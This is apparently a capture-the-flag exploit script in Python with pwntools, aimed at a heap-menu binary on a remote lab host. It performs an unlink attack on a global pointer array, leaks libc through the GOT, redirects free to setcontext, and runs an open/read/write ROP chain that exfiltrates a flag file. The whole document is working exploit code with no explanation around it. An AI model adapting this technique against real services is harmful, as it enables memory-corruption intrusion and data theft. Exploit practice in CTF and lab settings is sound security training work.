1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * from LibcSearcher import *
io = remote("10.10.1.61", 9999)
def add(idx, size): io.sendlineafter("please input your choice:", '1') io.sendlineafter("please input the idx", str(idx)) io.sendlineafter("please input the size", str(size))
def delete(idx): io.sendlineafter("please input your choice:", '2') io.sendlineafter("please input the idx", str(idx))
def show(idx): io.sendlineafter("please input your choice:", '3') io.sendlineafter("please input the idx\n", str(idx))
def edit(idx, content): io.sendlineafter("please input your choice:", '4') io.sendlineafter("please input the idx", str(idx)) io.sendafter("please input the content", content)
buf_addr = 0x6020C0
add(0, 0x88) add(1, 0xf8) add(2, 0x18) edit(0, p64(0) + p64(0x81) + p64(buf_addr - 0x18) + p64(buf_addr - 0x10) + b'\x00' * (0x88 - 0x28) + p64(0x80)) delete(1)
free_got = 0x602018 edit(0, b'B' * 0x18 + p64(buf_addr) + p64(0x30) + p64(buf_addr + 0x10 * 2) + p64(0x30) + b'\n') show(1) heap_addr = u64(io.recv(4).ljust(8, b'\x00')) - 0x1a0 print("heap_addr = " + hex(heap_addr))
edit(0, p64(buf_addr) + p64(0x1000) + p64(free_got) + b'\n') show(1)
free_addr = u64(io.recv(6).ljust(8, b'\x00')) print("free_addr = " + hex(free_addr)) libc = LibcSearcher("free", free_addr) libc_addr = free_addr - libc.dump("free") print("libc_addr = " + hex(libc_addr))
setcontext_addr = libc_addr + 0x47B85 print("setcontext_addr = " + hex(setcontext_addr)) edit(1, p64(setcontext_addr) + b'\n')
p_rdi = 0x400ee3 pp_rsi = 0x400ee1 p_rdx = libc_addr + 0x1b92 open_addr = libc_addr + libc.dump("open") payload2 = p64(heap_addr + 0x270) + p64(pp_rsi) + p64(0) + p64(0xdeadbeef) + p64(open_addr)
read_addr = libc_addr + libc.dump("read") payload2 += p64(p_rdi) + p64(3) + p64(pp_rsi) + p64(buf_addr + 0x30) + p64(0xdeadbeef) + p64(p_rdx) + p64(0x30) + p64(read_addr) write_addr = libc_addr + libc.dump("write") payload2 += p64(p_rdi) + p64(1) + p64(pp_rsi) + p64(buf_addr + 0x30) + p64(0xdeadbeef) + p64(write_addr) payload2 = payload2.ljust(0xa0, b'A') payload2 += p64(heap_addr + 0x1a0 + 0x20) + p64(p_rdi) + b"flag_augwdui".ljust(64, b'\x00')
add(8, 0x1000) edit(8, payload2 + b'\n') delete(8)
io.interactive()
|